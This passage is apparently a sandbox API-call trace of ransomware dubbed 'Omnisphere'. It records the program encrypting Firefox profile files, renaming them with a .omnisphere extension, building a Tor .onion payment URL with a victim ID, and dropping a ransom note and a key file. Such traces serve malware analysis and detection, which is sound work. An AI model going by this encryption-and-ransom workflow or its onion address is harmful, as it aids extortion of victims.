out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.145] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.146] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.147] CryptDestroyKey (hKey=0x1639568) returned 1 [0159.147] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0159.147] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.147] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0159.147] GetProcessHeap () returned 0x1600000 [0159.148] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x1729318 [0159.148] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db.omnisphere")) returned 1 [0159.148] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.omnisphere.id" [0159.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.149] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0159.150] CloseHandle (hObject=0x388) returned 1 [0159.150] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0159.153] CloseHandle (hObject=0x3c0) returned 1 [0159.153] SetEndOfFile (hFile=0x288) returned 1 [0159.154] FlushFileBuffers (hFile=0x288) returned 1 [0159.173] CloseHandle (hObject=0x288) returned 1 [0159.173] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0159.173] GetProcessHeap () returned 0x1600000 [0159.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1746cf8 [0159.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0159.173] GetProcessHeap () returned 0x1600000 [0159.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733e78 [0159.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733e78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0159.174] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0159.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0159.174] GetProcessHeap () returned 0x1600000 [0159.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17269b8 [0159.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17269b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0159.174] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0159.174] GetProcessHeap () returned 0x1600000 [0159.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17308c8 [0159.174] PathCombineW (in: pszDest=0x17308c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0159.174] GetProcessHeap () returned 0x1600000 [0159.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1739700 [0159.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.174] WriteFile (in: hFile=0x288, lpBuffer=0x1739700*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1739700*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0159.174] CloseHandle (hObject=0x288) returned 1 [0159.175] GetProcessHeap () returned 0x1600000 [0159.175] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1746cf8 | out: hHeap=0x1600000) returned 1 [0159.175] GetProcessHeap () returned 0x1600000 [0159.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c868 [0159.175] PathCombineW (in: pszDest=0x162c868, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0159.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.175] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0159.175] CloseHandle (hObject=0x288) returned 1 [0159.175] GetProcessHeap () returned 0x1600000 [0159.175] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c868 | out: hHeap=0x1600000) returned 1 [0159.175] GetProcessHeap () returned 0x1600000 [0159.175] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172dc08 | out: hHeap=0x1600000) returned 1 [0159.175] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0159.175] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6f2e0a0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0159.175] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd7d1832, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1 [0159.175] GetProcessHeap () returned 0x1600000 [0159.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c048 [0159.176] PathCombineW (in: pszDest=0x162c048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="permissions.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" [0159.176] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0159.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.177] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=98304) returned 1 [0159.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x17adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.177] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0159.209] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18000, lpName=0x0) returned 0x3c0 [0159.209] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x14a0000 [0159.209] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0159.209] CloseHandle (hObject=0x3c0) returned 1 [0159.209] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.210] GetTickCount () returned 0x11678e1 [0159.211] GetTickCount () returned 0x11678e1 [0159.211] GetTickCount () returned 0x11678e1 [0159.211] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669120) returned 1 [0159.211] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0159.211] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0159.211] CryptDestroyKey (hKey=0x1639528) returned 1 [0159.211] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0159.211] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18000, lpName=0x0) returned 0x3c0 [0159.212] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18000) returned 0x14a0000 [0159.242] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668570) returned 1 [0159.243] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0159.243] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, 